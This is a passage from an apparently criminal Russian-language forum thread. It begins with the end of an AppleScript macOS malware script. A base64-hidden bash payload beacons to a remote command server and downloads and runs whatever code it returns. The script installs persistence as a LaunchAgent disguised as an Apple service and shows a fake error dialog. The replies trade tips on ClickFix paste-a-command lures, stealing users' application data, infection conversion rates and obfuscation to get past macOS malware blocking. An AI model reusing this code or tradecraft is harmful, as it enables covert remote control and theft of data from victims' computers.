do shell script "echo 'IyEvYmluL2Jhc2gKR0FURV9VUkw9Imh0dHBzOi8vdXM0MXdlYnpvb20ud2lraSIKQk9UX0lEPSQoaW9yZWcgLWQyIC1jIElPUGxhdGZvcm1FeHBlcnREZXZpY2UgfCBhd2sgLUYnIicgJy9JT1BsYXRmb3JtVVVJRC97cHJpbnQgJDR9JykKQlVJTERfSUQ9IjY0ZTRiZGM4MDUwN2VkYTA0YTQyNjU2MjBjZmEyN2JkMzliYWIyZjZmZTFiYzBhZTkwMDY5OWU2NGMzNTc3NTYiCkJVSUxEX05BTUU9IiIKSE9TVE5BTUU9JChob3N0bmFtZSkKSVA9JChjdXJsIC1zIGh0dHBzOi8vYXBpLmlwaWZ5Lm9yZyAyPi9kZXYvbnVsbCB8fCBlY2hvIHVua25vd24pCk9TX1ZFUj0kKHN3X3ZlcnMgLXByb2R1Y3RWZXJzaW9uKQpSRVNQPSQoY3VybCAtcyAtWCBQT1NUICIkR0FURV9VUkwvYXBpL2JvdC9oZWFydGJlYXQiIC1IICJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24iIC1kICd7ImJvdF9pZCI6IiciJEJPVF9JRCInIiwiYnVpbGRfaWQiOiInIiRCVUlMRF9JRCInIiwiaG9zdG5hbWUiOiInIiRIT1NUTkFNRSInIiwiaXAiOiInIiRJUCInIiwib3NfdmVyc2lvbiI6IiciJE9TX1ZFUiInIn0nKQpDT0RFPSQoZWNobyAiJFJFU1AiIHwgc2VkIC1uICdzLy4qImNvZGUiOiJcKFteIl0qXCkiLiovXDEvcCcpCmlmIFsgLW4gIiRDT0RFIiBdOyB0aGVuCmVjaG8gIiRDT0RFIiB8IGJhc2U2NCAtZCA+IC90bXAvLmMuc2ggJiYgY2htb2QgK3ggL3RtcC8uYy5zaCAmJiAvdG1wLy5jLnNoOyBybSAtZiAvdG1wLy5jLnNoCmZpCg==' | base64 -d > " & quoted form of agentServicePath
do shell script "chmod +x " & quoted form of agentServicePath
set agentPlistContent to "<?xml version=\"1.0\" encoding=\"UTF-8\"?>" & (ASCII character 10) & "<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">" & (ASCII character 10) & "<plist version=\"1.0\">" & (ASCII character 10) & "<dict>" & (ASCII character 10) & "<key>Label</key>" & (ASCII character 10) & "<string>com.apple.accountsd</string>" & (ASCII character 10) & "<key>ProgramArguments</key>" & (ASCII character 10) & "<array>" & (ASCII character 10) & "<string>" & agentServicePath & "</string>" & (ASCII character 10) & "</array>" & (ASCII character 10) & "<key>StartInterval</key>" & (ASCII character 10) & "<integer>60</integer>" & (ASCII character 10) & "<key>RunAtLoad</key>" & (ASCII character 10) & "<true/>" & (ASCII character 10) & "<key>StandardOutPath</key>" & (ASCII character 10) & "<string>/dev/null</string>" & (ASCII character 10) & "<key>StandardErrorPath</key>" & (ASCII character 10) & "<string>/dev/null</string>" & (ASCII character 10) & "</dict>" & (ASCII character 10) & "</plist>"
do shell script "echo " & quoted form of agentPlistContent & " > " & quoted form of agentPlistPath
do shell script "launchctl unload " & quoted form of agentPlistPath & " 2>/dev/null || true"
do shell script "launchctl load " & quoted form of agentPlistPath
debugLog("Persistence: LaunchAgent OK (user-level fallback)")
end if
on error errMsg
debugLog("Persistence: FAIL | " & errMsg)
end try
debugLog("=== SCRIPT COMPLETE ===")
display dialog "Your Mac does not support this application. Try reinstalling or downloading the version for your system." with title "System Preferences" with icon stop buttons {"OK"}
👍26 ❤️4 😁4 🤔9
темка лютая, обычно вешают на лендинг cloudflare, говорят открыть терминал, вставить команду, где скрипт тянет актуальный домен из имени тг бота (дуров, почему так?). А потом уже тянут все содержимое /Users/xxx/Library/Application Support. Удивительно что ведутся на это))
👍1
Причем удивляет что Apple продвигает SIP как реальную защиту от малвари, но по факту сип защищает только систему, а не юзерспейс. Если бы эпл сделала доступ к данным приложений труднее, попутно выкидывая предупреждения что таким обычно промышляют машонники, то кол-во логов сошло на нет
👍2
Ответadrenaline

темка лютая, обычно вешают на лендинг cloudflare, говорят открыть терминал, вставить команду, где скрипт тянет актуальный домен из имени тг бота (дуров, почему так?). А потом уже тянут все содержимое…

при таргетированных атаках тоже отлично срабатывает если подать в блюдечке с золотой кайомочкой))
👍1
Ответadrenaline

темка лютая, обычно вешают на лендинг cloudflare, говорят открыть терминал, вставить команду, где скрипт тянет актуальный домен из имени тг бота (дуров, почему так?).

это ты говоришь про скрипт ленаи, он не продает малвари, только кликфикс..- но чет по последние ревью на экспе гайки закручивают, @youaretheone может подскажет нам как там и вправду дела обстоят)
👍5 🔥1
Ответbezmyatezhnost

это ты говоришь про скрипт ленаи, он не продает малвари, только кликфикс..- но чет по последние ревью на экспе гайки закручивают, @youaretheone может подскажет нам как там и вправду дела обстоят)

конверсия от 1 до 5 процента в среднем, от траста реса сильно зависит, у меня и до 20 проц набегало, но кликфикс не ленаи, свой с повышенной конверсией, мелочи очень решают там, все что на форумах в бесплатке и т д  детский сад канеш
Не удалось прогрузить медиа
👍5
Ответadrenaline

Причем удивляет что Apple продвигает SIP как реальную защиту от малвари, но по факту сип защищает только систему, а не юзерспейс. Если бы эпл сделала доступ к данным приложений труднее, попутно выкидывая предупреждения…

где то читал новость что они перед вставкой в терминал ввели окошко о харме вставленного в онный, подсуетились получается
что то типа не суй - выебут:D
👍3
А это как-то криптуется? Пробовал повозиться со всем этим делом, постоянно получаю всплывающее окно на маке, то что малварь заблокирован...
👍2
ОтветLilJorry

А это как-то криптуется? Пробовал повозиться со всем этим делом, постоянно получаю всплывающее окно на маке, то что малварь заблокирован...

"это" скорее всего обфусцируется, тк это скрипты тупо.
👍3
Ответrootsshtunnel

"это" скорее всего обфусцируется, тк это скрипты тупо.

Есть ли где-то чтиво про обфускацию «этого»?)
👍2
в интернете всё есть, всегда на виду, просто нужно пошире открыть глаза, полазить в поисковиках, спросить у нейронки на хуйдой конец
ОтветLilJorry

Есть ли где-то чтиво про обфускацию «этого»?)

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.